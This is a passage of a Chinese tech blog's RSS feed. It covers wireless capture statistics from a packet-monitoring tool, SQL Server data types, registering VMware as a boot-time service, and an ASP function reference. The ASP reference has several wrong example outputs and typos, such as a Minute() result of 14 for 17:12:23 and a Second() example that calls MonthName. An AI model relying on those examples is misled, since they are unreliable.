在过去10秒钟内丢失的数据分组，基于序列号检测。更多的说明看下面的注解<br/>GPackets 客户端发送的数据分组数量<br/>Probes 被客户端查探的ESSID。如果客户端正试图连接一个AP但是没有连接上，那么就显示在这里。<br/>注解："<br/>RXQ扩展：<br/>它用于衡量所有的管理帧和数据帧，你能够从这个数值中了解很多东西，它是一个线索。假定你获得百分百的RXQ和所有以10（或者任何的速率）/每秒速率发出的beacon帧。某个时候突然RXQ降到了90以下，但是你仍然收到了所有的beacon，那么你就能知道AP正在向客户端发送数据，而你监听不到客户端或者AP发送到客户端的数据，需要更加靠近才行。另一种情况，你用一个11MB的网卡来监听并捕获数据（prism2.5），并且你相对于AP的位置非常好，AP设置成了54MBit，这个时候如果RXQ再次下降，那么就能知道至少有一个54MBit的客户端连接到AP了。<br/>LLost扩展：<br/>它意味着从客户端来的数据丢包，每个非管理帧中都有一个序列号字段，把刚接收到的那个帧中的序列号和前一个帧中的序列号一减就能知道丢了几个包，这就是判别的方法。<br/>可能产生丢包的原因：<br/>1.你不能够同时发送和监听（如果你在发送数据的话），当你发送一些数据的时候，在此间隔内你不能监听到其它的包<br/>太高的发射功率导致你丢包（可能离AP太近了）<br/>在当前信道上存在太多的干扰，干扰源可能是其它的AP，微波炉，蓝牙设备等<br/>为了降低丢包率，你该调整你的物理位置，使用各种天线，调整信道、发包或者注入的速率<br/>
]]>
</description>
</item><item>
<link>http://www.fkdj8.com/post/54/</link>
<title><![CDATA[SQL的数据类型中文说明]]></title> 
<author>yantou &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术相关]]></category>
<pubDate>Thu, 22 Apr 2010 12:37:38 +0000</pubDate> 
<guid>http://www.fkdj8.com/post/54/</guid> 
<description>
<![CDATA[ 
	<br/><br/>如果结果数据类型为 char、varchar、text、nchar、nvarchar 或 ntext，则结果值的排序规则由排序规则的优先顺序规则决定。有关更多信息，请参见排序规则的优先顺序。<br/><br/><br/><br/><br/>数据类型<br/>在 Microsoft® SQL Server™ 中，每个列、局部变量、表达式和参数都有一个相关的数据类型，这是指定对象可持有的数据类型（整型、字符、money 等等）的特性。SQL Server 提供系统数据类型集，定义了可与 SQL Server 一起使用的所有数据类型。下面列出系统提供的数据类型集。<br/><br/>可以定义用户定义的数据类型，其是系统提供的数据类型的别名。有关用户定义的数据类型的更多信息，请参见 sp_addtype 和创建用户定义的数据类型。<br/><br/>当两个具有不同数据类型、排序规则、精度、小数位数或长度的表达式通过运算符进行组合时： <br/><br/>通过将数据类型的优先顺序规则应用到输入表达式的数据类型来确定所得值的数据类型。有关更多信息，请参见数据类型的优先顺序。<br/><br/>结果的精度、小数位数及长度取决于输入表达式的精度、小数位数及长度。有关更多信息，请参见精度、小数位数和长度。 <br/>SQL Server 为 SQL-92 兼容性提供了数据类型同义词。有关更多信息，请参见数据类型同义词。<br/><br/>精确数字<br/>整数<br/>bigint<br/><br/>从 -2^63 (-9223372036854775808) 到 2^63-1 (9223372036854775807) 的整型数据（所有数字）。<br/><br/>int<br/><br/>从 -2^31 (-2,147,483,648) 到 2^31 - 1 (2,147,483,647) 的整型数据（所有数字）。<br/><br/>smallint<br/><br/>从 -2^15 (-32,768) 到 2^15 - 1 (32,767) 的整数数据。<br/><br/>tinyint<br/><br/>从 0 到 255 的整数数据。<br/><br/>bit<br/>bit<br/><br/>1 或 0 的整数数据。<br/><br/>decimal 和 numeric<br/>decimal<br/><br/>从 -10^38 +1 到 10^38 –1 的固定精度和小数位的数字数据。<br/><br/>numeric<br/><br/>功能上等同于 decimal。<br/><br/>money 和 smallmoney<br/>money<br/><br/>货币数据值介于 -2^63 (-922,337,203,685,477.5808) 与 2^63 - 1 (+922,337,203,685,477.5807) 之间，精确到货币单位的千分之十。<br/><br/>smallmoney<br/><br/>货币数据值介于 -214,748.3648 与 +214,748.3647 之间，精确到货币单位的千分之十。<br/><br/>近似数字<br/>float<br/><br/>从 -1.79E + 308 到 1.79E + 308 的浮点精度数字。<br/><br/>real<br/><br/>从 -3.40E + 38 到 3.40E + 38 的浮点精度数字。<br/><br/>datetime 和 smalldatetime<br/>datetime<br/><br/>从 1753 年 1 月 1 日到 9999 年 12 月 31 日的日期和时间数据，精确到百分之三秒（或 3.33 毫秒）。<br/><br/>smalldatetime<br/><br/>从 1900 年 1 月 1 日到 2079 年 6 月 6 日的日期和时间数据，精确到分钟。<br/><br/>字符串<br/>char<br/><br/>固定长度的非 Unicode 字符数据，最大长度为 8,000 个字符。<br/><br/>varchar<br/><br/>可变长度的非 Unicode 数据，最长为 8,000 个字符。<br/><br/>text<br/><br/>可变长度的非 Unicode 数据，最大长度为 2^31 - 1 (2,147,483,647) 个字符。<br/><br/>Unicode 字符串<br/>nchar<br/><br/>固定长度的 Unicode 数据，最大长度为 4,000 个字符。 <br/><br/>nvarchar<br/><br/>可变长度 Unicode 数据，其最大长度为 4,000 字符。sysname 是系统提供用户定义的数据类型，在功能上等同于 nvarchar(128)，用于引用数据库对象名。<br/><br/>ntext<br/><br/>可变长度 Unicode 数据，其最大长度为 2^30 - 1 (1,073,741,823) 个字符。<br/><br/>二进制字符串<br/>binary<br/><br/>固定长度的二进制数据，其最大长度为 8,000 个字节。<br/><br/>varbinary<br/><br/>可变长度的二进制数据，其最大长度为 8,000 个字节。<br/><br/>image<br/><br/>可变长度的二进制数据，其最大长度为 2^31 - 1 (2,147,483,647) 个字节。<br/><br/>其它数据类型<br/>cursor<br/><br/>游标的引用。<br/><br/>sql_variant<br/><br/>一种存储 SQL Server 支持的各种数据类型（text、ntext、timestamp 和 sql_variant 除外）值的数据类型。<br/><br/>table<br/><br/>一种特殊的数据类型，存储供以后处理的结果集。<br/><br/>timestamp<br/><br/>数据库范围的唯一数字，每次更新行时也进行更新。<br/><br/>uniqueidentifier <br/>Tags - <a href="http://www.fkdj8.com/tags/sql/" rel="tag">sql</a> , <a href="http://www.fkdj8.com/tags/server/" rel="tag">server</a> , <a href="http://www.fkdj8.com/tags/2000/" rel="tag">2000</a> , <a href="http://www.fkdj8.com/tags/%25E6%2595%25B0%25E6%258D%25AE/" rel="tag">数据</a> , <a href="http://www.fkdj8.com/tags/%25E7%25B1%25BB%25E5%259E%258B/" rel="tag">类型</a>
]]>
</description>
</item><item>
<link>http://www.fkdj8.com/post/52/</link>
<title><![CDATA[虚拟机vmware自动启动系统]]></title> 
<author>yantou &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术相关]]></category>
<pubDate>Fri, 02 Apr 2010 05:39:00 +0000</pubDate> 
<guid>http://www.fkdj8.com/post/52/</guid> 
<description>
<![CDATA[ 
	不可避免，企业的服务器不会象我们预想的那样一年365天不间断的运行。可能公司突然停电，或者服务器突然无故重启，这些情况都会造成电脑内的虚拟机开机不再运行。而如果此时系统管理员正好离开，那这个后果也就不言而喻了。<br/><br/>所以，实现虚拟机开机自动启动，可以说是实现公司服务器正常运行的一个不可或缺的环节。<br/><br/>实现其开机自动启动步骤其实很简单。这里用到的是微软的两个小工具。instsrv.exe和srvany.exe<br/><br/>微软对instsrv.exe的官方说明如下：<br/><br/>Installs and uninstalls executable services and assigns names to them. 也就是个加载services的小东东。<br/><br/>其用法如下：instsrv <service name> <srvany path> （这里的srvany path也就是工具srvany.exe的路径了）<br/><br/>解释下，srvany.exe是微软出的用于将一个程序注册为一个服务的小程序。它可以实现讲任何程序设置成服务启动。具体用法可以自己想下哦。<br/><br/>解释完毕，现在来实际的操作了吧。<br/><br/><br/>1.讲所需要的工具instsrv.exe和srvany.exe放在一个文件夹内，在这我放在d:&#92;tools中吧。<br/><br/>2.需要了解vmware.exe的安装路径，以本机为例：D:&#92;VMware Workstation&#92;vmware.exe<br/>要启动的虚拟机配置文件路径，我的2003虚拟机的配置文件windows2003.vmx的路径是D:&#92;vmare&#92;windows2003&#92;windows server 2003.vmx<br/><br/>3.新建服务<br/><br/>假设服务名为vm_autostart，所以我的命令行是：<br/><br/>instsrv VM_AutoStart D:&#92;tools&#92;srvany.exe<br/><br/>4.注册服务<br/><br/>在注册表中，定位到HKEY_LOCAL_MACHINE&#92;SYSTEM&#92;CurrentControlSet&#92;Services&#92;vm_autostart<br/>新建项："Parameters"<br/>在"Parameters"项里面，新建字符串"Application"，<br/>字符串的值：<br/>"D:&#92;VMware Workstation&#92;vmware.exe" -x "D:&#92;vmare&#92;windows2003&#92;windows server 2003.vmx"<br/><br/>(如果你想要开机加载两个虚拟机系统，只需要在其后再添加一个虚拟机配置文件路径即可）<br/><br/>5.设置虚拟机启动状态<br/><br/>管理工具－服务，选择vm_autostart的属性－登录，选中“本地系统帐户”，并勾选“允许服务与桌面交互”，这样，你的电脑开机后就会出现vmware的启动界面了。 <br/><br/>Tags - <a href="http://www.fkdj8.com/tags/%25E8%2599%259A%25E6%258B%259F%25E6%259C%25BA/" rel="tag">虚拟机</a> , <a href="http://www.fkdj8.com/tags/vmware/" rel="tag">vmware</a> , <a href="http://www.fkdj8.com/tags/%25E5%2590%25AF%25E5%258A%25A8/" rel="tag">启动</a>
]]>
</description>
</item><item>
<link>http://www.fkdj8.com/post/45/</link>
<title><![CDATA[ASP常用函数收集]]></title> 
<author>yantou &lt;admin@yourname.com&gt;</author>
<category><![CDATA[技术相关]]></category>
<pubDate>Sat, 27 Feb 2010 07:22:46 +0000</pubDate> 
<guid>http://www.fkdj8.com/post/45/</guid> 
<description>
<![CDATA[ 
	ASP常用函数说明<br/><br/>Array()<br/>　　函数说明: 返回一个数组<br/>　　语法格式: Array(list)<br/>　　参数说明: 字符，数字均可<br/>　　代码范例: Dim User=Array("张三","李四","王五")<br/>　　返回结果: 建立了一个包含3个元素的数组<br/><br/>CInt()<br/>　　函数说明: 将一个表达式转化为数字类型<br/>　　语法格式: CInt(expression)<br/>　　参数说明: 任何有效的字符均可<br/>　　代码范例: CInt(236.42)<br/>　　返回结果: 236 (如果字符串为空，则返回0值)<br/><br/>CreateObject()<br/>　　函数说明: 建立和返回一个已注册的ACTIVEX组件的实例。<br/>　　语法格式: CreateObject(objName)<br/>　　参数说明: objName 是任何一个有效、已注册的ActiveX组件的名字.<br/>　　代码范例: Set Conn=Server.CreateObject("Adodb.Connection")<br/>　　返回结果:无<br/><br/>CStr()<br/>　　函数说明: 转化一个表达式为字符串.<br/>　　语法格式: CStr(expression)<br/>　　参数说明: expression 是任何有效的表达式。<br/>　　代码范例: Response.Write CStr(123)<br/>　　返回结果: "123"<br/><br/>Date()<br/>　　函数说明: 返回当前系统日期.<br/>　　语法格式: Date()<br/>　　参数说明: 无<br/>　　代码范例: Date()<br/>　　返回结果: 2004-09-14<br/><br/>DateAdd()<br/>　　函数说明: 返回一个被改变了的日期。<br/>　　语法格式: DateAdd(timeinterval,number,date)<br/>　　参数说明: timeinterval是要增加的时间间隔类型，如"y"，"m"，"d"，"h"等等; number是要增加的时间间隔的数量;date是时间增加的基准时间.<br/>　　代码范例: DataAdd("m",1,CDate("2004-09-14 17:12:23"))<br/>　　返回结果: 2004-10-14 17:12:23<br/>这里有一个技巧（对于初学者而言），如果number为负数，则相当于减去Abs(number)个时间间隔。<br/><br/>DateDiff()<br/>　　函数说明: 返回两个日期之间的差值 。<br/>　　语法格式: DateDiff(timeinterval,date1,date2 [, firstdayofweek [, firstweekofyear>>)<br/>　　参数说明: timeinterval 表示相隔时间的类型，如"M"表示"月"。<br/>　　代码范例: DateDiff("d","2000-1-1","1999-8-4")<br/>　　返回结果: 从1999-8-4 到2000年还有 150 天.<br/><br/>Day()<br/>　　函数说明: 返回一个月的第几日 .<br/>　　语法格式: Day(date)<br/>　　参数说明: date 是任何有效的日期。<br/>　　代码范例: Day(CDate("2004-09-14"))<br/>　　返回结果: 14<br/><br/>FormatCurrency()<br/>　　函数说明: 返回表达式，此表达式已被格式化为货币值<br/>　　语法格式: FormatCurrency(Expression [, Digit [, LeadingDigit [, Paren [, GroupDigit>>>>)<br/>　　参数说明: Digit 指示小数点右侧显示位数的数值。默认值为 -1，指示使用的是计算机的区域设置; 　　LeadingDigit 三态常数，指示是否显示小数值小数点前面的零。<br/>　　代码范例: <br/>　　返回结果: $34.35<br/><br/>FormatDateTime()<br/>　　函数说明: 返回表达式，此表达式已被格式化为日期或时间<br/>　　语法格式: FormatDateTime(Date, [, NamedFormat>)<br/>　　参数说明: NamedFormat 指示所使用的日期/时间格式的数值，如果省略，则使用 vbGeneralDate.<br/>　　代码范例: <br/>　　返回结果: Wednesday, August 04, 1999<br/><br/>FormatNumber()<br/>　　函数说明: 返回表达式，此表达式已被格式化为数值.<br/>　　语法格式: FormatNumber(Expression [, Digit [, LeadingDigit [, Paren [, GroupDigit>>>>)<br/>　　参数说明: Digit 指示小数点右侧显示位数的数值。默认值为 -1，指示使用的是计算机的区域设置。; LeadingDigit i指示小数点右侧显示位数的数值。默认值为 -1，指示使用的是计算机的区域设置。; Paren 指示小数点右侧显示位数的数值。默认值为 -1，指示使用的是计算机的区域设置。; GroupDigit i指示小数点右侧显示位数的数值。默认值为 -1，指示使用的是计算机的区域设置。.<br/>　　代码范例: <br/>　　返回结果: 45.325<br/><br/>FormatPercent()<br/>　　函数说明: 返回表达式，此表达式已被格式化为尾随有 % 符号的百分比（乘以 100 ）。 (%)<br/>　　语法格式: FormatPercent(Expression [, Digit [, LeadingDigit [, Paren [, GroupDigit>>>>)<br/>　　参数说明: 同上.<br/>　　代码范例: <br/>　　返回结果: 45.267%<br/><br/>Hour()<br/>　　函数说明: 以24时返回小时数.<br/>　　语法格式: Hour(time)<br/>　　参数说明:<br/>　　代码范例: <br/>　　返回结果: 16<br/>　　(Hour has been converted to 24-hour system)<br/><br/>Instr()<br/>　　函数说明: 返回字符或字符串在另一个字符串中第一次出现的位置.<br/>　　语法格式: Instr([start, > strToBeSearched, strSearchFor [, compare>)<br/>　　参数说明: Start为搜索的起始值，strToBeSearched接受搜索的字符串 strSearchFor要搜索的字符compare 比较方式（详细见ASP常数）<br/>　　代码范例: Instr(1,"abcdefgabcdefg","bc")<br/>　　返回结果: 2<br/><br/>InstrRev()<br/>　　函数说明: 同上，只是从字符串的最后一个搜索起<br/>　　语法格式: InstrRev([start, > strToBeSearched, strSearchFor [, compare>)<br/>　　参数说明: 同上.<br/>　　代码范例: InstrRev(1,"abcdefgabcdefg","bc")<br/>　　返回结果: 9<br/><br/><br/>Int()<br/>　　函数说明: 返回数值类型,不四舍五入。<br/>　　语法格式: Int(expression)<br/>　　参数说明:expression是任意合法的表达式。<br/>　　代码范例: <br/>　　返回结果: 32<br/><br/>IsArray()<br/>　　函数说明: 判断一对象是否为数组，返回布尔值 .<br/>　　语法格式: IsArray(expression)<br/>　　参数说明:expression<br/>　　代码范例: <br/>　　返回结果: True/False<br/><br/>IsDate()<br/>　　函数说明: 判断一对象是否为日期，返回布尔值<br/>　　语法格式: IsDate(expression)<br/>　　参数说明: expression是任意合法的表达式。<br/>　　代码范例: IsDate("abc")<br/>　　返回结果: False<br/><br/>IsEmpty()<br/>　　函数说明: 判断一对象是否初始化，返回布尔值.<br/>　　语法格式: IsEmpty(expression)<br/>　　参数说明:expression是任意合法的表达式。<br/>　　代码范例: <br/>　　返回结果: True/False<br/><br/>IsNull()<br/>　　函数说明: 判断一对象是否为空，返回布尔值.<br/>　　语法格式: IsNull(expression)<br/>　　参数说明:expression是任意合法的表达式。<br/>　　代码范例: <br/>　　返回结果: True/False<br/>　　<br/>IsNumeric()<br/>　　函数说明: 判断一对象是否为数字，返回布尔值.<br/>　　语法格式: IsNumeric(expression)<br/>　　参数说明:expression是任意合法的表达式。<br/>　　代码范例: <br/>　　返回结果: True/False<br/>　　就算数字加了引号，ASP还是认为它是数字。<br/><br/>IsObject()<br/>　　函数说明: 判断一对象是否为对象，返回布尔值.<br/>　　语法格式: IsObject(expression)<br/>　　参数说明:expression是任意合法的表达式。<br/>　　代码范例: <br/>　　返回结果: True/False<br/><br/><br/>LBound()<br/>　　函数说明: 返回指定数组维的最小可用下标.<br/>　　语法格式: Lbound(arrayname [, dimension>)<br/>　　参数说明: dimension 指明要返回哪一维下界的整数。使用 1 表示第一维，2 表示第二维，以此类推。如果省略 dimension 参数，默认值为 1.<br/>　　代码范例: <br/>　　返回结果: <br/><br/>LCase()<br/>　　函数说明: 返回字符串的小写形式<br/>　　语法格式: Lcase(string)<br/>　　参数说明: string是任意合法的表达式。<br/>　　代码范例: LCase("THIS Is A Test!")<br/>　　返回结果: this is a test!<br/><br/>Left()<br/>　　函数说明: 返回字符串左边第length个字符以前的字符（含第length个字符).<br/>　　语法格式: Left(string, length)<br/>　　参数说明:string是原字符串，length是要取得的字符个数。<br/>　　代码范例: Left("Left",3)<br/>　　返回结果: Lef<br/><br/>Len()<br/>　　函数说明: 返回字符串的长度.<br/>　　语法格式: Len(string &#124; varName)<br/>　　参数说明:string是任意合法的表达式。<br/>　　代码范例: <br/>　　返回结果: 15<br/><br/>LTrim()<br/>　　函数说明: 去掉字符串左边的空格.<br/>　　语法格式: LTrim(string)<br/>　　参数说明:string为字符串<br/>　　代码范例: LTrim("&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;This is a test!&nbsp;&nbsp; ")<br/>　　返回结果: "This is a test!&nbsp;&nbsp; "<br/><br/>Mid()<br/>　　函数说明: 返回特定长度的字符串(从start开始,长度为length).<br/>　　语法格式: Mid(string, start [, length>)<br/>　　参数说明:string是原字符串，start为开始截取的位置，length为截取的字符串长度<br/>　　代码范例: Mid("abcdefg",2,3)<br/>　　返回结果: bcd<br/>如果省略length，则截取从start位置到末尾的所有字符。<br/><br/>Minute()<br/>　　函数说明: 返回时间的分钟.<br/>　　语法格式: Minute(time)<br/>　　参数说明:time是任意合法的日期表达式。<br/>　　代码范例: Minute("2004-09-14 17:12:23")<br/>　　返回结果: 14<br/><br/>Month()<br/>　　函数说明: 返回月份.<br/>　　语法格式: Month(date)<br/>　　参数说明: date是任意合法的日期表达式。<br/>　　代码范例: Month("2004-09-14 17:12:23")<br/>　　返回结果: 9<br/><br/>MonthName()<br/>　　函数说明: 以本地系统格式返回用于识别特定月份的字符串.<br/>　　语法格式: MonthName(month, [, Abb>)<br/>　　参数说明: month是给定月的数字表示; Abb (可选的)是一个逻辑值，用于控制是否显示月份缩写.True表示显示月份缩写，False则不显示。<br/>　　代码范例: MonthName("2004-09-14 17:12:23")<br/>　　返回结果: September<br/><br/>Now()<br/>　　函数说明: Returns the current system date and time.<br/>　　语法格式: Now()<br/>　　参数说明: 无<br/>　　代码范例: Now()<br/>　　返回结果: 2004-09-14 17:12:23<br/>这是我的时间，你调用的时候应该是你当时的时间。<br/><br/>Replace()<br/>　　函数说明: 返回一个字符串strToBeSearched中的子字符串strSearchFor被另一个字符串strReplaceWith替换count次后的字符串。.<br/>　　语法格式: Replace(strToBeSearched, strSearchFor, strReplaceWith [, start [, count [, compare>>>)<br/>　　参数说明: strToBeSearched是被替换的字符串; strSearchFor是要在strToBeSearched中查找的子字符串; strReplace是要替换成的字符串; start (可选的)是开始搜索的位置; count (可选的)是要替换的次数，省略则全部替换。<br/>　　代码范例: Replace("This is an apple!","apple","orange")<br/>　　返回结果: This is an orange!<br/><br/>Right()<br/>　　函数说明: 返回字符串右边第length个字符以前的字符（含第length个字符).<br/>　　语法格式: Right(string, length)<br/>　　参数说明: string是原字符串，length是要截取的字符个数。<br/>　　代码范例: Right("right",3)<br/>　　返回结果: ght<br/><br/>Rnd()<br/>　　函数说明: 产生一个随机数.<br/>　　语法格式: Rnd [ (number) ><br/>　　参数说明:<br/>　　代码范例: <br/>　　返回结果: 任何一个在0 到 1 之间的数<br/><br/>Round()<br/>　　函数说明: 返回按指定位数进行四舍五入的数值.<br/>　　语法格式: Round(expression [, numRight>)<br/>　　参数说明: numRight数字表明小数点右边有多少位进行四舍五入。如果省略，则 Round 函数返回整数.<br/>　　代码范例: Round(1234.567,2)<br/>　　错误返回结果: 1234.570(注：感谢yippee 的提示，由于本人的疏忽，也是受了SqlServer的影响才有此<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 错误结果，同时在这里也提醒大家，SqlServer查询分析器的Round会得到此<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 结果。)<br/>&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp;&nbsp; 正确返回结果:1234.57<br/><br/>Rtrim()<br/>　　函数说明: 去掉字符串右边的字符串.<br/>　　语法格式: Rtrim(string)<br/>　　参数说明:<br/>　　代码范例: RTim("&nbsp;&nbsp;&nbsp;&nbsp;This is a test!&nbsp;&nbsp;&nbsp;&nbsp;")<br/>　　返回结果: "&nbsp;&nbsp;&nbsp;&nbsp;This is a test!"<br/><br/>Second()<br/>　　函数说明: 返回秒.<br/>　　语法格式: Second(expression)<br/>　　参数说明: expression是任意合法的时间表达式。<br/>　　代码范例: MonthName("2004-09-14 17:12:23")<br/>　　返回结果: 23<br/><br/>StrReverse()<br/>　　函数说明: 反排一字符串<br/>　　语法格式: StrReverse(string)<br/>　　参数说明:<br/>　　代码范例: StrReverse("This is a test!")<br/>　　返回结果: "!tset a si sihT"<br/><br/>Time()<br/>　　函数说明: 返回系统时间.<br/>　　语法格式: Time()<br/>　　参数说明: .<br/>　　代码范例: Time()<br/>　　返回结果: 17:12:23<br/><br/>Trim()<br/>　　函数说明: 去掉字符串左右的空格.<br/>　　语法格式: Trim(string)<br/>　　参数说明: string是任意合法的字符串表达式。<br/>　　代码范例: Trim("&nbsp;&nbsp;&nbsp;&nbsp;This is a test!&nbsp;&nbsp;&nbsp;&nbsp;")<br/>　　返回结果: "This is a test!"<br/><br/>UBound()<br/>　　函数说明: 返回指定数组维数的最大可用下标.<br/>　　语法格式: Ubound(arrayname [, dimension>)<br/>　　参数说明: dimension (optional) 指定返回哪一维上界的整数。1 表示第一维，2 表示第二维，以此类推。如果省略 dimension 参数，则默认值为 1.<br/>　　代码范例: <br/>　　返回结果: 2<br/><br/>UCase()<br/>　　函数说明: 返回字符串的大写形式.<br/>　　语法格式: UCase(string)<br/>　　参数说明:<br/>　　代码范例: UCase("This is a test!")<br/>　　返回结果: THIS IS A TEST!<br/><br/>VarType()<br/>　　函数说明: 返回指示变量子类型的值<br/>　　语法格式: VarType(varName)<br/>　　参数说明:varName是任意可用的表达式<br/>　　代码范例: <br/>　　返回结果: 2(数字)<br/><br/>WeekDay()<br/>　　函数说明: 返回在一周的第几天.<br/>　　语法格式: WeekDay(date [, firstdayofweek>)<br/>　　参数说明: date是任意合法的时间表达式<br/>　　代码范例: WeekDay("2004-09-14 17:12:23")<br/>　　返回结果: 3(星期二)<br/>注意外国人的习惯，周日为第一天，既是1，周一是第二天既是2，依此类推<br/><br/>WeekDayName()<br/>　　函数说明: 返回一周第几天的名字.<br/>　　语法格式: WeekDayName(date [, Abb [, firstdayofweek>>)<br/>　　参数说明: date是任意合法的时间表达式，Abb(可选的)Boolean 值，指明是否缩写表示星期各天的名称。如果省略， 默认值为 False，即不缩写星期各天的名称.firstdayofweek指明星期第一天的数值<br/>　　代码范例: WeekDayName("2004-09-14 17:12:23")<br/>　　返回结果: 星期二<br/><br/>Year()<br/>　　函数说明: 返回当前的年份.<br/>　　语法格式: Year(date)<br/>　　参数说明:date是任意合法的时间表达式。<br/>　　代码范例: Year("2004-09-14 17:12:23")<br/>　　返回结果: 2004<br/>ASP常用函数 ASP常用命令 <br/>1.函数array()　<br/>功能:创建一个数组变量　<br/>格式:array(list)　<br/>参数:list　为数组变量中的每个数值列,中间用逗号间隔　<br/>例子:　<br/>　<br/>结果:　i　被赋予为数组　<br/><br/><br/>2.函数Cint()　<br/>功能:将一表达式/其它类型的变量转换成整数类型(int)　<br/>格式:Cint(expression)　<br/>参数:expression　是任何有效的表达式/其它类型的变量　<br/>例子:　<br/>　<br/>结果:　236　<br/>函数Cint()将字符”234”转换　成整数234.如果表达式为空,　或者无效时,返回值为0;　<br/>3.函数:Creatobject()　<br/>功能:创建及返回一个ActiveX对象.　<br/>格式:Creatobject(obname)　<br/>参数bname　是对象的名称　<br/>例子:　<br/>　<br/>结果:　<br/>4.函数Cstr()　<br/>功能:将一表达式/其它类型的变量转换成字符类型(string)　<br/>格式:Cstr(expression)　<br/>参数:expression是任何有效的表达式/其它类型的变量　<br/>例子:　<br/>　<br/>结果:函数Cstr()将整数　5　转换　成字符”5”.　<br/>5.函数Date()　<br/>功能:返回当前系统(server端)的日期　<br/>格式:　Date()　<br/>参数:无　<br/>例子　<br/>结果:05/10/00　<br/>6.函数Dateadd()　<br/>功能:计算某个指定的时间和　<br/>格式:　dateadd(timeinterval,number,date)　<br/>参数:timeinterval是时间单位(月,日..);　number是时间间隔值,date是时间始点.　<br/>例子:　<br/>　　<br/>结果:　<br/>11/4/99　<br/>3:34:45　PM　<br/>其中　<br/>“m”　=　”month”;　<br/>“d”　=　”day”;　<br/>如果是currentDate　格式,则,　<br/>“h”　=　”hour”;　<br/>“s”　=　”second”;　<br/>7.函数Datediff()　<br/>功能:计算某量个指定的时间差　<br/>格式:　datediff(timeinterval,date1,date2[,firstdayofweek[,firstdayofyear]])　<br/>参数:　timeinterval　是时间单位;　date1,date2是有效的日期表达式,firstdayofweek,firstdayofyear　是任意选项.　<br/>例子:　<br/>　<br/>结果:There　are　150　days　to　millenium　from　8/4/99.　<br/>8.函数day()　<br/>功能:返回一个整数值,对应于某月的某日　<br/>格式:　day(date)　<br/>参数:　date是一个有效的日期表达式;　<br/>例子　<br/>结果:4　<br/>9.函数formatcurrency()　<br/>功能:转换成货币格式　<br/>格式:　formatcurrency(expression　[,digit[,leadingdigit[,paren[,groupdigit]]]])　<br/>参数:　expression　是有效的数字表达式;digit表示小数点后的位数;leadingdigit,paren,groupdigit是任意选项.　<br/>例子　<br/>结果34.35　<br/>10.函数Formatdatetime()　<br/>功能:格式化日期表达式/变量　<br/>格式:　formatdatetime(date[,nameformat])　<br/>参数:　date为有效的日期表达式/变量;nameformat是指定的日期格式常量名称.　<br/>例子　<br/>结果:Wednesday,August　04,1999　<br/>说明:　<br/>--------------------------------------------------------------------------------<br/>描述<br/>返回表达式，此表达式已被格式化为日期或时间。　<br/>语法<br/>FormatDateTime(Date[,　NamedFormat])<br/>FormatDateTime　函数的语法有以下参数：<br/><br/>参数　描述　<br/>Date　必选项。要被格式化的日期表达式。　<br/>NamedFormat　可选项。指示所使用的日期/时间格式的数值，如果省略，则使用　vbGeneralDate。　<br/><br/><br/>设置<br/>NamedFormat　参数可以有以下值：<br/>常数　值　描述　<br/>vbGeneralDate　0　显示日期和/或时间。如果有日期部分，则将该部分显示为短日期格式。如果有时间部分，则将该部分显示为长时间格式。如果都存在，则显示所有部分。　<br/>vbLongDate　1　使用计算机区域设置中指定的长日期格式显示日期。　<br/>vbShortDate　2　使用计算机区域设置中指定的短日期格式显示日期。　<br/>vbLongTime　3　使用计算机区域设置中指定的时间格式显示时间。　<br/>vbShortTime　4　使用　24　小时格式　(hh:mm)　显示时间。　<br/><br/>说明<br/>下面例子利用　FormatDateTime　函数把表达式格式化为长日期型并且把它赋给　MyDateTime:　<br/>Function　GetCurrentDate　<br/>“FormatDateTime　把日期型格式化为长日期型。<br/>GetCurrentDate　=　FormatDateTime(Date,　1)　<br/>End　Function<br/>--------------------------------------------------------------------------------<br/>　<br/><br/>11.函数Isnumeric()　<br/>功能:返回一个布尔值,判断变量是否为数字变量,或者是可以转换成数字的其它变量.　<br/>格式:isnumeric(expression)　<br/>参数:expression　是任意的变量.　<br/>例子:　<br/>　<br/>结果:　true.　<br/>12.函数Isobject()　<br/>功能:返回一个布尔值,判断变量是否为对象的变量,　<br/>格式:　isobject(expression)　<br/>参数:　expression　是任意的变量.　<br/>例子:　<br/>　<br/>结果:　true　<br/>13.函数:Lbound()　<br/>功能:返回一个数组的下界.　<br/>格式:Lbound(arrayname[,dimension])　<br/>参数:arrayname　是数组变量,dimension　是任意项　<br/>例子:　<br/>　<br/>结果:0<br/>14.函数Lcase()　<br/>功能:将一字符类型变量的字符全部变换小写字符.　<br/>格式:Lcase(string)　<br/>参数:string是字符串变量　<br/>例子:　<br/>　<br/>结果:this　is　lcase!　<br/>15.函数left()　<br/>功能:截取一个字符串的前部分;　<br/>格式:left(string,length)　<br/>参数:string字符串,length截取的长度.　<br/>例子:　　<br/>结果:this　i　<br/>16.函数len()　<br/>功能:返回字符串长度或者变量的字节长度　<br/>格式:len(string　*varname)　<br/>参数:string字符串;varname任意的变量名称　<br/>例子:　<br/>　<br/>结果:15　<br/>17.函数ltrim()　<br/>功能:去掉字符串前的空格.　<br/>格式:ltrim(string)　<br/>参数:string　字符串.　<br/>例子:　　<br/>结果:Today　<br/>19.函数minute()　<br/>功能:返回一数值,　表示分钟　